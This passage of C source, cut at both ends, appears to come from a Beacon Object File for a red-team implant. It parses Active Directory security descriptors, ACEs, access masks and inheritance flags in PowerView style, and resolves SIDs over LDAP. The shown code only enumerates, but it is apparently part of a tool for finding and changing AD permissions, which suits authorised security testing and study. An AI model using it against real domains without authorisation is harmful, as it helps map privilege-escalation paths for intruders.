KERNEL32$LocalFree(groupSidStr);\n        }\n    }\n\n    // Get DACL\n    PACL pDacl = NULL;\n    BOOL daclPresent = FALSE;\n    BOOL daclDefaulted = FALSE;\n    if (ADVAPI32$GetSecurityDescriptorDacl(pSD, &daclPresent, &pDacl, &daclDefaulted)) {\n        sdInfo->HasDacl = daclPresent;\n\n        if (daclPresent && pDacl) {\n            ACL_SIZE_INFORMATION aclSizeInfo;\n            if (ADVAPI32$GetAclInformation(pDacl, &aclSizeInfo, sizeof(aclSizeInfo), AclSizeInformation)) {\n                sdInfo->DaclAceCount = aclSizeInfo.AceCount;\n\n                if (aclSizeInfo.AceCount > 0) {\n                    sdInfo->DaclAces = (PARSED_ACE_INFO*)MSVCRT$malloc(sizeof(PARSED_ACE_INFO) * aclSizeInfo.AceCount);\n                    if (sdInfo->DaclAces) {\n                        MSVCRT$memset(sdInfo->DaclAces, 0, sizeof(PARSED_ACE_INFO) * aclSizeInfo.AceCount);\n\n                        // Parse each ACE\n                        for (DWORD i = 0; i < aclSizeInfo.AceCount; i++) {\n                            PACE_HEADER pAce = NULL;\n                            if (ADVAPI32$GetAce(pDacl, i, (LPVOID*)&pAce)) {\n                                ParseAce(pAce, &sdInfo->DaclAces[i]);\n                            }\n                        }\n                    }\n                }\n            }\n        }\n    }\n\n    // Get SACL (System ACL - for auditing)\n    PACL pSacl = NULL;\n    BOOL saclPresent = FALSE;\n    BOOL saclDefaulted = FALSE;\n    if (ADVAPI32$GetSecurityDescriptorSacl(pSD, &saclPresent, &pSacl, &saclDefaulted)) {\n        sdInfo->HasSacl = saclPresent;\n\n        if (saclPresent && pSacl) {\n            ACL_SIZE_INFORMATION aclSizeInfo;\n            if (ADVAPI32$GetAclInformation(pSacl, &aclSizeInfo, sizeof(aclSizeInfo), AclSizeInformation)) {\n                sdInfo->SaclAceCount = aclSizeInfo.AceCount;\n\n                if (aclSizeInfo.AceCount > 0) {\n                    sdInfo->SaclAces = (PARSED_ACE_INFO*)MSVCRT$malloc(sizeof(PARSED_ACE_INFO) * aclSizeInfo.AceCount);\n                    if (sdInfo->SaclAces) {\n                        MSVCRT$memset(sdInfo->SaclAces, 0, sizeof(PARSED_ACE_INFO) * aclSizeInfo.AceCount);\n\n                        for (DWORD i = 0; i < aclSizeInfo.AceCount; i++) {\n                            PACE_HEADER pAce = NULL;\n                            if (ADVAPI32$GetAce(pSacl, i, (LPVOID*)&pAce)) {\n                                ParseAce(pAce, &sdInfo->SaclAces[i]);\n                            }\n                        }\n                    }\n                }\n            }\n        }\n    }\n\n    return sdInfo;\n}\n\n// Free parsed security descriptor information\nvoid FreeSecurityDescriptorInfo(PSD_INFO sdInfo) {\n    if (!sdInfo) return;\n\n    if (sdInfo->OwnerSid) MSVCRT$free(sdInfo->OwnerSid);\n    if (sdInfo->OwnerName) MSVCRT$free(sdInfo->OwnerName);\n    if (sdInfo->GroupSid) MSVCRT$free(sdInfo->GroupSid);\n    if (sdInfo->GroupName) MSVCRT$free(sdInfo->GroupName);\n\n    // Free DACL ACEs\n    if (sdInfo->DaclAces) {\n        for (DWORD i = 0; i < sdInfo->DaclAceCount; i++) {\n            if (sdInfo->DaclAces[i].TrusteeSid) MSVCRT$free(sdInfo->DaclAces[i].TrusteeSid);\n            if (sdInfo->DaclAces[i].TrusteeName) MSVCRT$free(sdInfo->DaclAces[i].TrusteeName);\n        }\n        MSVCRT$free(sdInfo->DaclAces);\n    }\n\n    // Free SACL ACEs\n    if (sdInfo->SaclAces) {\n        for (DWORD i = 0; i < sdInfo->SaclAceCount; i++) {\n            if (sdInfo->SaclAces[i].TrusteeSid) MSVCRT$free(sdInfo->SaclAces[i].TrusteeSid);\n            if (sdInfo->SaclAces[i].TrusteeName) MSVCRT$free(sdInfo->SaclAces[i].TrusteeName);\n        }\n        MSVCRT$free(sdInfo->SaclAces);\n    }\n\n    MSVCRT$free(sdInfo);\n}\n\n// ============================================================================\n// ACE PARSING AND MANIPULATION\n// ============================================================================\n\n// Parse access mask string into ACCESS_MASK value\n// Supports named masks (GenericAll, WriteDacl, etc.) and hex values (0x000F01FF)\nACCESS_MASK ParseAccessMask(const char* maskStr) {\n    if (!maskStr || MSVCRT$strlen(maskStr) == 0) return 0;\n\n    // Check for hex format (0x prefix)\n    if (MSVCRT$strncmp(maskStr, \"0x\", 2) == 0 || MSVCRT$strncmp(maskStr, \"0X\", 2) == 0) {\n        // Parse hex string\n        ACCESS_MASK mask = 0;\n        const char* p = maskStr + 2;\n        while (*p) {\n            mask <<= 4;\n            if (*p >= '0' && *p <= '9') {\n                mask |= (*p - '0');\n            } else if (*p >= 'a' && *p <= 'f') {\n                mask |= (*p - 'a' + 10);\n            } else if (*p >= 'A' && *p <= 'F') {\n                mask |= (*p - 'A' + 10);\n            }\n            p++;\n        }\n        return mask;\n    }\n\n    // Parse named masks (can be comma-separated)\n    ACCESS_MASK mask = 0;\n    char buffer[512];\n    MSVCRT$strncpy(buffer, maskStr, sizeof(buffer) - 1);\n    buffer[sizeof(buffer) - 1] = '\\0';\n\n    // Convert to lowercase for case-insensitive comparison\n    char* p = buffer;\n    while (*p) {\n        if (*p >= 'A' && *p <= 'Z') {\n            *p = *p + ('a' - 'A');\n        }\n        p++;\n    }\n\n    // Check for each known mask name (case-insensitive substrings)\n    if (MSVCRT$strstr(buffer, \"genericall\")) {\n        mask |= GENERIC_ALL;\n    }\n    if (MSVCRT$strstr(buffer, \"genericwrite\")) {\n        mask |= GENERIC_WRITE;\n    }\n    if (MSVCRT$strstr(buffer, \"genericread\")) {\n        mask |= GENERIC_READ;\n    }\n    if (MSVCRT$strstr(buffer, \"genericexecute\")) {\n        mask |= GENERIC_EXECUTE;\n    }\n    if (MSVCRT$strstr(buffer, \"writedacl\")) {\n        mask |= WRITE_DACL;\n    }\n    if (MSVCRT$strstr(buffer, \"writeowner\")) {\n        mask |= WRITE_OWNER;\n    }\n    if (MSVCRT$strstr(buffer, \"delete\")) {\n        mask |= DELETE_ACCESS;\n    }\n    if (MSVCRT$strstr(buffer, \"readcontrol\")) {\n        mask |= READ_CONTROL;\n    }\n    if (MSVCRT$strstr(buffer, \"createchild\")) {\n        mask |= ADS_RIGHT_DS_CREATE_CHILD;\n    }\n    if (MSVCRT$strstr(buffer, \"deletechild\")) {\n        mask |= ADS_RIGHT_DS_DELETE_CHILD;\n    }\n    if (MSVCRT$strstr(buffer, \"readprop\")) {\n        mask |= ADS_RIGHT_DS_READ_PROP;\n    }\n    if (MSVCRT$strstr(buffer, \"writeprop\")) {\n        mask |= ADS_RIGHT_DS_WRITE_PROP;\n    }\n    if (MSVCRT$strstr(buffer, \"extendedright\")) {\n        mask |= ADS_RIGHT_DS_CONTROL_ACCESS;\n    }\n    if (MSVCRT$strstr(buffer, \"controlaccess\")) {\n        mask |= ADS_RIGHT_DS_CONTROL_ACCESS;\n    }\n    if (MSVCRT$strstr(buffer, \"self\")) {\n        mask |= ADS_RIGHT_DS_SELF;\n    }\n    if (MSVCRT$strstr(buffer, \"deletetree\")) {\n        mask |= ADS_RIGHT_DS_DELETE_TREE;\n    }\n    if (MSVCRT$strstr(buffer, \"listobject\")) {\n        mask |= ADS_RIGHT_DS_LIST_OBJECT;\n    }\n\n    return mask;\n}\n\n// Parse ACE type string into ACE type byte\n// Supports: allow, deny, audit\nBYTE ParseAceType(const char* typeStr) {\n    if (!typeStr || MSVCRT$strlen(typeStr) == 0) {\n        return ACCESS_ALLOWED_ACE_TYPE; // Default to allow\n    }\n\n    // Convert to lowercase\n    char buffer[32];\n    MSVCRT$strncpy(buffer, typeStr, sizeof(buffer) - 1);\n    buffer[sizeof(buffer) - 1] = '\\0';\n\n    char* p = buffer;\n    while (*p) {\n        if (*p >= 'A' && *p <= 'Z') {\n            *p = *p + ('a' - 'A');\n        }\n        p++;\n    }\n\n    // Match type\n    if (MSVCRT$strstr(buffer, \"deny\")) {\n        return ACCESS_DENIED_ACE_TYPE;\n    } else if (MSVCRT$strstr(buffer, \"audit\")) {\n        return SYSTEM_AUDIT_ACE_TYPE;\n    } else {\n        return ACCESS_ALLOWED_ACE_TYPE; // Default\n    }\n}\n\n// Parse ACE flags string into ACE flags byte\n// Supports: OI (object inherit), CI (container inherit), NP (no propagate), IO (inherit only)\nBYTE ParseAceFlags(const char* flagsStr) {\n    if (!flagsStr || MSVCRT$strlen(flagsStr) == 0) {\n        return 0; // No inheritance flags\n    }\n\n    BYTE flags = 0;\n\n    // Convert to uppercase for easier matching\n    char buffer[256];\n    MSVCRT$strncpy(buffer, flagsStr, sizeof(buffer) - 1);\n    buffer[sizeof(buffer) - 1] = '\\0';\n\n    char* p = buffer;\n    while (*p) {\n        if (*p >= 'a' && *p <= 'z') {\n            *p = *p - ('a' - 'A');\n        }\n        p++;\n    }\n\n    // Check for flag abbreviations\n    if (MSVCRT$strstr(buffer, \"OI\")) {\n        flags |= OBJECT_INHERIT_ACE;\n    }\n    if (MSVCRT$strstr(buffer, \"CI\")) {\n        flags |= CONTAINER_INHERIT_ACE;\n    }\n    if (MSVCRT$strstr(buffer, \"NP\")) {\n        flags |= NO_PROPAGATE_INHERIT_ACE;\n    }\n    if (MSVCRT$strstr(buffer, \"IO\")) {\n        flags |= INHERIT_ONLY_ACE;\n    }\n\n    // Also check for full names\n    if (MSVCRT$strstr(buffer, \"OBJECT_INHERIT\")) {\n        flags |= OBJECT_INHERIT_ACE;\n    }\n    if (MSVCRT$strstr(buffer, \"CONTAINER_INHERIT\")) {\n        flags |= CONTAINER_INHERIT_ACE;\n    }\n    if (MSVCRT$strstr(buffer, \"NO_PROPAGATE\")) {\n        flags |= NO_PROPAGATE_INHERIT_ACE;\n    }\n    if (MSVCRT$strstr(buffer, \"INHERIT_ONLY\")) {\n        flags |= INHERIT_ONLY_ACE;\n    }\n\n    return flags;\n}\n\n// Parse an ACE into structured format\nBOOL ParseAce(PACE_HEADER aceHeader, PPARSED_ACE_INFO parsedAce) {\n    if (!aceHeader || !parsedAce) return FALSE;\n\n    parsedAce->AceType = aceHeader->AceType;\n    parsedAce->AceFlags = aceHeader->AceFlags;\n\n    // Determine if this is an object ACE (has GUIDs)\n    parsedAce->IsObjectAce = (aceHeader->AceType == ACCESS_ALLOWED_OBJECT_ACE_TYPE ||\n                              aceHeader->AceType == ACCESS_DENIED_OBJECT_ACE_TYPE ||\n                              aceHeader->AceType == SYSTEM_AUDIT_OBJECT_ACE_TYPE);\n\n    if (parsedAce->IsObjectAce) {\n        // Object ACE - has GUIDs\n        PACCESS_ALLOWED_OBJECT_ACE pObjectAce = (PACCESS_ALLOWED_OBJECT_ACE)aceHeader;\n        parsedAce->Mask = pObjectAce->Mask;\n\n        parsedAce->HasObjectType = (pObjectAce->Flags & ACE_OBJECT_TYPE_PRESENT) != 0;\n        parsedAce->HasInheritedObjectType = (pObjectAce->Flags & ACE_INHERITED_OBJECT_TYPE_PRESENT) != 0;\n\n        if (parsedAce->HasObjectType) {\n            MSVCRT$memcpy(&parsedAce->ObjectType, &pObjectAce->ObjectType, sizeof(GUID));\n        }\n\n        if (parsedAce->HasInheritedObjectType) {\n            MSVCRT$memcpy(&parsedAce->InheritedObjectType, &pObjectAce->InheritedObjectType, sizeof(GUID));\n        }\n\n        // Get SID (it's after the GUIDs in the structure)\n        PSID pSid = GetSidFromAce(aceHeader);\n        if (pSid) {\n            LPSTR sidStr = NULL;\n            if (ADVAPI32$ConvertSidToStringSidA(pSid, &sidStr)) {\n                size_t len = MSVCRT$strlen(sidStr) + 1;\n                parsedAce->TrusteeSid = (char*)MSVCRT$malloc(len);\n                if (parsedAce->TrusteeSid) {\n                    MSVCRT$strcpy(parsedAce->TrusteeSid, sidStr);\n                }\n                KERNEL32$LocalFree(sidStr);\n            }\n        }\n    } else {\n        // Standard ACE\n        PACCESS_ALLOWED_ACE pAce = (PACCESS_ALLOWED_ACE)aceHeader;\n        parsedAce->Mask = pAce->Mask;\n\n        // SID starts at SidStart offset\n        PSID pSid = (PSID)&pAce->SidStart;\n        LPSTR sidStr = NULL;\n        if (ADVAPI32$ConvertSidToStringSidA(pSid, &sidStr)) {\n            size_t len = MSVCRT$strlen(sidStr) + 1;\n            parsedAce->TrusteeSid = (char*)MSVCRT$malloc(len);\n            if (parsedAce->TrusteeSid) {\n                MSVCRT$strcpy(parsedAce->TrusteeSid, sidStr);\n            }\n            KERNEL32$LocalFree(sidStr);\n        }\n    }\n\n    return TRUE;\n}\n\n// Get SID from ACE (handles both standard and object ACEs)\nPSID GetSidFromAce(PACE_HEADER aceHeader) {\n    if (!aceHeader) return NULL;\n\n    if (aceHeader->AceType == ACCESS_ALLOWED_OBJECT_ACE_TYPE ||\n        aceHeader->AceType == ACCESS_DENIED_OBJECT_ACE_TYPE ||\n        aceHeader->AceType == SYSTEM_AUDIT_OBJECT_ACE_TYPE) {\n        // Object ACE - SID position depends on which GUIDs are present\n        // Structure: ACE_HEADER + ACCESS_MASK + Flags + [ObjectType GUID] + [InheritedObjectType GUID] + SID\n\n        // Start after ACE_HEADER (8 bytes) + ACCESS_MASK (4 bytes) + Flags (4 bytes) = 16 bytes\n        BYTE* pSidLocation = (BYTE*)aceHeader + sizeof(ACE_HEADER) + sizeof(ACCESS_MASK) + sizeof(DWORD);\n\n        // Get the flags to determine which GUIDs are present\n        DWORD* pFlags = (DWORD*)((BYTE*)aceHeader + sizeof(ACE_HEADER) + sizeof(ACCESS_MASK));\n        DWORD flags = *pFlags;\n\n        // Account for ObjectType GUID if present\n        if (flags & ACE_OBJECT_TYPE_PRESENT) {\n            pSidLocation += sizeof(GUID);\n        }\n\n        // Account for InheritedObjectType GUID if present\n        if (flags & ACE_INHERITED_OBJECT_TYPE_PRESENT) {\n            pSidLocation += sizeof(GUID);\n        }\n\n        return (PSID)pSidLocation;\n    } else {\n        // Standard ACE\n        PACCESS_ALLOWED_ACE pAce = (PACCESS_ALLOWED_ACE)aceHeader;\n        return (PSID)&pAce->SidStart;\n    }\n}\n\n// Get human-readable ACE type string\nchar* GetAceTypeString(BYTE aceType) {\n    switch (aceType) {\n        case ACCESS_ALLOWED_ACE_TYPE: return \"Allow\";\n        case ACCESS_DENIED_ACE_TYPE: return \"Deny\";\n        case SYSTEM_AUDIT_ACE_TYPE: return \"Audit\";\n        case SYSTEM_ALARM_ACE_TYPE: return \"Alarm\";\n        case ACCESS_ALLOWED_OBJECT_ACE_TYPE: return \"AllowObject\";\n        case ACCESS_DENIED_OBJECT_ACE_TYPE: return \"DenyObject\";\n        case SYSTEM_AUDIT_OBJECT_ACE_TYPE: return \"AuditObject\";\n        default: return \"Unknown\";\n    }\n}\n\n// Get human-readable ACE flags string (PowerView format)\nchar* GetAceFlagsString(BYTE aceFlags) {\n    static char flagsBuffer[256];\n    flagsBuffer[0] = '\\0';\n\n    if (aceFlags == 0) {\n        return \"None\";\n    }\n\n    BOOL first = TRUE;\n\n    if (aceFlags & OBJECT_INHERIT_ACE) {\n        MSVCRT$strcat(flagsBuffer, \"OBJECT_INHERIT_ACE\");\n        first = FALSE;\n    }\n    if (aceFlags & CONTAINER_INHERIT_ACE) {\n        if (!first) MSVCRT$strcat(flagsBuffer, \", \");\n        MSVCRT$strcat(flagsBuffer, \"CONTAINER_INHERIT_ACE\");\n        first = FALSE;\n    }\n    if (aceFlags & NO_PROPAGATE_INHERIT_ACE) {\n        if (!first) MSVCRT$strcat(flagsBuffer, \", \");\n        MSVCRT$strcat(flagsBuffer, \"NO_PROPAGATE_INHERIT_ACE\");\n        first = FALSE;\n    }\n    if (aceFlags & INHERIT_ONLY_ACE) {\n        if (!first) MSVCRT$strcat(flagsBuffer, \", \");\n        MSVCRT$strcat(flagsBuffer, \"INHERIT_ONLY_ACE\");\n        first = FALSE;\n    }\n    if (aceFlags & INHERITED_ACE) {\n        if (!first) MSVCRT$strcat(flagsBuffer, \", \");\n        MSVCRT$strcat(flagsBuffer, \"INHERITED_ACE\");\n        first = FALSE;\n    }\n\n    return flagsBuffer;\n}\n\n// Get inheritance type string based on ACE flags\nchar* GetInheritanceTypeString(BYTE aceFlags) {\n    // Extract only the inheritance-related flags (not INHERITED_ACE)\n    BYTE inheritFlags = aceFlags & (OBJECT_INHERIT_ACE | CONTAINER_INHERIT_ACE |\n                                     NO_PROPAGATE_INHERIT_ACE | INHERIT_ONLY_ACE);\n\n    // Map flag combinations to PowerView inheritance types\n    if (inheritFlags == 0) {\n        return \"None\";\n    }\n\n    // All = OI + CI (inherits to all descendants)\n    if ((inheritFlags & (OBJECT_INHERIT_ACE | CONTAINER_INHERIT_ACE)) ==\n        (OBJECT_INHERIT_ACE | CONTAINER_INHERIT_ACE) &&\n        !(inheritFlags & NO_PROPAGATE_INHERIT_ACE) &&\n        !(inheritFlags & INHERIT_ONLY_ACE)) {\n        return \"All\";\n    }\n\n    // Children = OI + CI + NP (one level only)\n    if ((inheritFlags & (OBJECT_INHERIT_ACE | CONTAINER_INHERIT_ACE | NO_PROPAGATE_INHERIT_ACE)) ==\n        (OBJECT_INHERIT_ACE | CONTAINER_INHERIT_ACE | NO_PROPAGATE_INHERIT_ACE) &&\n        !(inheritFlags & INHERIT_ONLY_ACE)) {\n        return \"Children\";\n    }\n\n    // Descendents = OI + CI + IO (inherits to children but not this object)\n    if ((inheritFlags & (OBJECT_INHERIT_ACE | CONTAINER_INHERIT_ACE | INHERIT_ONLY_ACE)) ==\n        (OBJECT_INHERIT_ACE | CONTAINER_INHERIT_ACE | INHERIT_ONLY_ACE) &&\n        !(inheritFlags & NO_PROPAGATE_INHERIT_ACE)) {\n        return \"Descendents\";\n    }\n\n    // SelfAndChildren = OI + CI + NP + IO (not common, but possible)\n    if ((inheritFlags & (OBJECT_INHERIT_ACE | CONTAINER_INHERIT_ACE | NO_PROPAGATE_INHERIT_ACE | INHERIT_ONLY_ACE)) ==\n        (OBJECT_INHERIT_ACE | CONTAINER_INHERIT_ACE | NO_PROPAGATE_INHERIT_ACE | INHERIT_ONLY_ACE)) {\n        return \"SelfAndChildren\";\n    }\n\n    // Containers = CI only (no IO, no NP)\n    if (inheritFlags == CONTAINER_INHERIT_ACE) {\n        return \"Containers\";\n    }\n\n    // CI + IO = inherit to container descendants only, not this object\n    if ((inheritFlags & (CONTAINER_INHERIT_ACE | INHERIT_ONLY_ACE)) ==\n        (CONTAINER_INHERIT_ACE | INHERIT_ONLY_ACE) &&\n        !(inheritFlags & OBJECT_INHERIT_ACE) &&\n        !(inheritFlags & NO_PROPAGATE_INHERIT_ACE)) {\n        return \"Descendents\";\n    }\n\n    // CI + NP = immediate container children only\n    if ((inheritFlags & (CONTAINER_INHERIT_ACE | NO_PROPAGATE_INHERIT_ACE)) ==\n        (CONTAINER_INHERIT_ACE | NO_PROPAGATE_INHERIT_ACE) &&\n        !(inheritFlags & OBJECT_INHERIT_ACE) &&\n        !(inheritFlags & INHERIT_ONLY_ACE)) {\n        return \"Children\";\n    }\n\n    // Objects = OI only\n    if (inheritFlags == OBJECT_INHERIT_ACE) {\n        return \"Objects\";\n    }\n\n    // OI + IO = inherit to object descendants only, not this object\n    if ((inheritFlags & (OBJECT_INHERIT_ACE | INHERIT_ONLY_ACE)) ==\n        (OBJECT_INHERIT_ACE | INHERIT_ONLY_ACE) &&\n        !(inheritFlags & CONTAINER_INHERIT_ACE) &&\n        !(inheritFlags & NO_PROPAGATE_INHERIT_ACE)) {\n        return \"Descendents\";\n    }\n\n    // OI + NP = immediate object children only\n    if ((inheritFlags & (OBJECT_INHERIT_ACE | NO_PROPAGATE_INHERIT_ACE)) ==\n        (OBJECT_INHERIT_ACE | NO_PROPAGATE_INHERIT_ACE) &&\n        !(inheritFlags & CONTAINER_INHERIT_ACE) &&\n        !(inheritFlags & INHERIT_ONLY_ACE)) {\n        return \"Children\";\n    }\n\n    // Default for other combinations\n    return \"None\";\n}\n\n// Get human-readable access mask string\nchar* GetAccessMaskString(ACCESS_MASK mask) {\n    static char maskBuffer[512];\n    maskBuffer[0] = '\\0';\n\n    if (mask == 0) {\n        return \"None\";\n    }\n\n    BOOL first = TRUE;\n\n    // Check for generic rights first\n    if (mask & GENERIC_ALL) {\n        MSVCRT$strcat(maskBuffer, \"GenericAll\");\n        first = FALSE;\n    }\n    if (mask & GENERIC_WRITE) {\n        if (!first) MSVCRT$strcat(maskBuffer, \",\");\n        MSVCRT$strcat(maskBuffer, \"GenericWrite\");\n        first = FALSE;\n    }\n    if (mask & GENERIC_READ) {\n        if (!first) MSVCRT$strcat(maskBuffer, \",\");\n        MSVCRT$strcat(maskBuffer, \"GenericRead\");\n        first = FALSE;\n    }\n    if (mask & GENERIC_EXECUTE) {\n        if (!first) MSVCRT$strcat(maskBuffer, \",\");\n        MSVCRT$strcat(maskBuffer, \"GenericExecute\");\n        first = FALSE;\n    }\n\n    // Standard rights\n    if (mask & DELETE_ACCESS) {\n        if (!first) MSVCRT$strcat(maskBuffer, \",\");\n        MSVCRT$strcat(maskBuffer, \"Delete\");\n        first = FALSE;\n    }\n    if (mask & WRITE_DACL) {\n        if (!first) MSVCRT$strcat(maskBuffer, \",\");\n        MSVCRT$strcat(maskBuffer, \"WriteDacl\");\n        first = FALSE;\n    }\n    if (mask & WRITE_OWNER) {\n        if (!first) MSVCRT$strcat(maskBuffer, \",\");\n        MSVCRT$strcat(maskBuffer, \"WriteOwner\");\n        first = FALSE;\n    }\n    if (mask & READ_CONTROL) {\n        if (!first) MSVCRT$strcat(maskBuffer, \",\");\n        MSVCRT$strcat(maskBuffer, \"ReadControl\");\n        first = FALSE;\n    }\n\n    // DS-specific rights\n    if (mask & ADS_RIGHT_DS_CREATE_CHILD) {\n        if (!first) MSVCRT$strcat(maskBuffer, \",\");\n        MSVCRT$strcat(maskBuffer, \"CreateChild\");\n        first = FALSE;\n    }\n    if (mask & ADS_RIGHT_DS_DELETE_CHILD) {\n        if (!first) MSVCRT$strcat(maskBuffer, \",\");\n        MSVCRT$strcat(maskBuffer, \"DeleteChild\");\n        first = FALSE;\n    }\n    if (mask & ADS_RIGHT_DS_READ_PROP) {\n        if (!first) MSVCRT$strcat(maskBuffer, \",\");\n        MSVCRT$strcat(maskBuffer, \"ReadProperty\");\n        first = FALSE;\n    }\n    if (mask & ADS_RIGHT_DS_WRITE_PROP) {\n        if (!first) MSVCRT$strcat(maskBuffer, \",\");\n        MSVCRT$strcat(maskBuffer, \"WriteProperty\");\n        first = FALSE;\n    }\n    if (mask & ADS_RIGHT_DS_CONTROL_ACCESS) {\n        if (!first) MSVCRT$strcat(maskBuffer, \",\");\n        MSVCRT$strcat(maskBuffer, \"ExtendedRight\");\n        first = FALSE;\n    }\n\n    // If buffer is still empty, show raw hex\n    if (maskBuffer[0] == '\\0') {\n        MSVCRT$_snprintf(maskBuffer, sizeof(maskBuffer), \"0x%08x\", mask);\n    }\n\n    return maskBuffer;\n}\n\n// ============================================================================\n// SID UTILITIES\n// ============================================================================\n\n// Convert SID to string\nchar* SidToString(PSID sid) {\n    if (!sid) return NULL;\n\n    LPSTR sidStr = NULL;\n    if (!ADVAPI32$ConvertSidToStringSidA(sid, &sidStr)) {\n        return NULL;\n    }\n\n    // Copy to our own buffer\n    size_t len = MSVCRT$strlen(sidStr) + 1;\n    char* result = (char*)MSVCRT$malloc(len);\n    if (result) {\n        MSVCRT$strcpy(result, sidStr);\n    }\n\n    KERNEL32$LocalFree(sidStr);\n    return result;\n}\n\n// Convert string to SID\nPSID StringToSid(const char* sidString) {\n    if (!sidString) return NULL;\n\n    PSID pSid = NULL;\n    if (!ADVAPI32$ConvertStringSidToSidA(sidString, &pSid)) {\n        return NULL;\n    }\n\n    return pSid;\n}\n\n// Resolve SID to name via LDAP (searches for objectSid attribute)\nchar* ResolveSidToName(LDAP* ld, const char* sidString, const char* defaultNC) {\n    if (!ld || !sidString || !defaultNC) return NULL;\n\n    // Convert SID string to binary SID\n    PSID pSid = StringToSid(sidString);\n    if (!pSid) return NULL;\n\n    // Get the SID length\n    DWORD sidLen = ADVAPI32$GetLengthSid(pSid);\n    if (sidLen == 0) {\n        KERNEL32$LocalFree(pSid);\n        return NULL;\n    }\n\n    // Build LDAP filter with escaped binary SID\n    // Format: (objectSid=\\xx\\xx\\xx...) where xx is hex byte\n    char filter[512];\n    int filterPos = 0;\n\n    // Start filter\n    filterPos += MSVCRT$_snprintf(filter + filterPos, sizeof(filter) - filterPos, \"(objectSid=\");\n\n    // Add escaped binary bytes\n    BYTE* sidBytes = (BYTE*)pSid;\n    for (DWORD i = 0; i < sidLen && filterPos < sizeof(filter) - 4; i++) {\n        filterPos += MSVCRT$_snprintf(filter + filterPos, sizeof(filter) - filterPos, \"\\\\%02x\", sidBytes[i]);\n    }\n\n    // Close filter\n    filterPos += MSVCRT$_snprintf(filter + filterPos, sizeof(filter) - filterPos, \")\");\n\n    // Free the SID\n    KERNEL32$LocalFree(pSid);\n\n    char* attrs[] = { \"sAMAccountName\", \"name\", \"cn\", NULL };\n    LDAPMessage* searchResult = NULL;\n    LDAPMessage* entry = NULL;\n    char** values = NULL;\n    char* name = NULL;\n\n    // Try searching in the default NC first\n    ULONG result = WLDAP32$ldap_search_s(\n        ld,\n        (char*)defaultNC,\n        LDAP_SCOPE_SUBTREE,\n        filter,\n        attrs,\n        0,\n        &searchResult\n    );\n\n    if (result == LDAP_SUCCESS) {\n        entry = WLDAP32$ldap_first_entry(ld, searchResult);\n        if (entry) {\n            // Try sAMAccountName first\n            values = WLDAP32$ldap_get_values(ld, entry, \"sAMAccountName\");\n            if (!values || !values[0]) {\n                // Fall back to cn attribute\n                if (values) WLDAP32$ldap_value_free(values);\n                values = WLDAP32$ldap_get_values(ld, entry, \"cn\");\n            }\n            if (!values || !values[0]) {\n                // Fall back to name attribute\n                if (values) WLDAP32$ldap_value_free(values);\n                values = WLDAP32$ldap_get_values(ld, entry, \"name\");\n            }\n\n            if (values && values[0]) {\n                size_t len = MSVCRT$strlen(values[0]) + 1;\n                name = (char*)MSVCRT$malloc(len);\n                if (name) {\n                    MSVCRT$strcpy(name, values[0]);\n                }\n                WLDAP32$ldap_value_free(values);\n            }\n        }\n        WLDAP32$ldap_msgfree(searchResult);\n    }\n\n    // If not found in default NC, try searching from root (for cross-domain SIDs like Enterprise Admins)\n    if (!name) {\n        // Extract forest root from default NC\n        // E.g., DC=child,DC=parent,DC=local -> DC=parent,DC=local\n        char* forestRoot = NULL;\n        const char* firstComma = MSVCRT$strstr(defaultNC, \",\");\n        if (firstComma) {\n            const char* secondComma = MSVCRT$strstr(firstComma + 1, \",\");\n            if (secondComma) {\n                // We're in a child domain, try searching from parent\n                forestRoot = (char*)(firstComma + 1);\n            }\n        }\n\n        // If we found a potential forest root, search there\n        if (forestRoot) {\n            result = WLDAP32$ldap_search_s(\n                ld,\n                forestRoot,\n                LDAP_SCOPE_SUBTREE,\n                filter,\n                attrs,\n                0,\n                &searchResult\n            );\n\n            if (result == LDAP_SUCCESS) {\n                entry = WLDAP32$ldap_first_entry(ld, searchResult);\n                if (entry) {\n                    // Try sAMAccountName first\n                    values = WLDAP32$ldap_get_values(ld, entry, \"sAMAccountName\");\n                    if (!values || !values[0]) {\n                        // Fall back to cn attribute\n                        if (values) WLDAP32$ldap_value_free(values);\n                        values = WLDAP32$ldap_get_values(ld, entry, \"cn\");\n                    }\n                    if (!values || !values[0]) {\n                        // Fall back to name attribute\n                        if (values) WLDAP32$ldap_value_free(values);\n                        values = WLDAP32$ldap_get_values(ld, entry, \"name\");\n                    }\n\n                    if (values && values[0]) {\n                        size_t len = MSVCRT$strlen(values[0]) + 1;\n                        name = (char*)MSVCRT$malloc(len);\n                        if (name) {\n                            MSVCRT$strcpy(name, values[0]);\n                        }\n                        WLDAP32$ldap_value_free(values);\n                    }\n                }\n                WLDAP32$ldap_msgfree(searchResult);\n            }\n        }\n    }\n\n    return name;\n}\n\n// Get objectSid from an LDAP object\nPSID GetObjectSid(LDAP* ld, const char* objectDN) {\n    if (!ld || !objectDN) return NULL;\n\n    LDAPMessage* searchResult = NULL;\n    LDAPMessage* entry = NULL;\n    char* attrs[] = { \"objectSid\", NULL };\n    struct berval** values = NULL;\n    PSID pSid = NULL;\n\n    // Search for the object with objectSid attribute\n    ULONG result = WLDAP32$ldap_search_s(\n        ld,\n        (char*)objectDN,\n        LDAP_SCOPE_BASE,\n        \"(objectClass=*)\",\n        attrs,\n        0,\n        &searchResult\n    );\n\n    if (result != LDAP_SUCCESS) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to search for object\");\n        PrintLdapError(\"Search for objectSid\", result);\n        return NULL;\n    }\n\n    entry = WLDAP32$ldap_first_entry(ld, searchResult);\n    if (!entry) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Object not found\");\n        WLDAP32$ldap_msgfree(searchResult);\n        return NULL;\n    }\n\n    // Get the binary objectSid value\n    values = WLDAP32$ldap_get_values_len(ld, entry, \"objectSid\");\n    if (!values || !values[0]) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to retrieve objectSid attribute\");\n        WLDAP32$ldap_msgfree(searchResult);\n        return NULL;\n    }\n\n    // Allocate and copy the SID\n    DWORD sidLength = values[0]->bv_len;\n    pSid = (PSID)MSVCRT$malloc(sidLength);\n    if (pSid) {\n        MSVCRT$memcpy(pSid, values[0]->bv_val, sidLength);\n    }\n\n    WLDAP32$ldap_value_free_len(values);\n    WLDAP32$ldap_msgfree(searchResult);\n\n    return pSid;\n}\n\n// ============================================================================\n// GUID UTILITIES\n// ============================================================================\n\n// Convert GUID string to GUID structure\nBOOL StringToGuid(const char* guidString, GUID* guid) {\n    if (!guidString || !guid) return FALSE;\n    \n    RPC_STATUS status = RPCRT4$UuidFromStringA((RPC_CSTR)guidString, guid);\n    return (status == 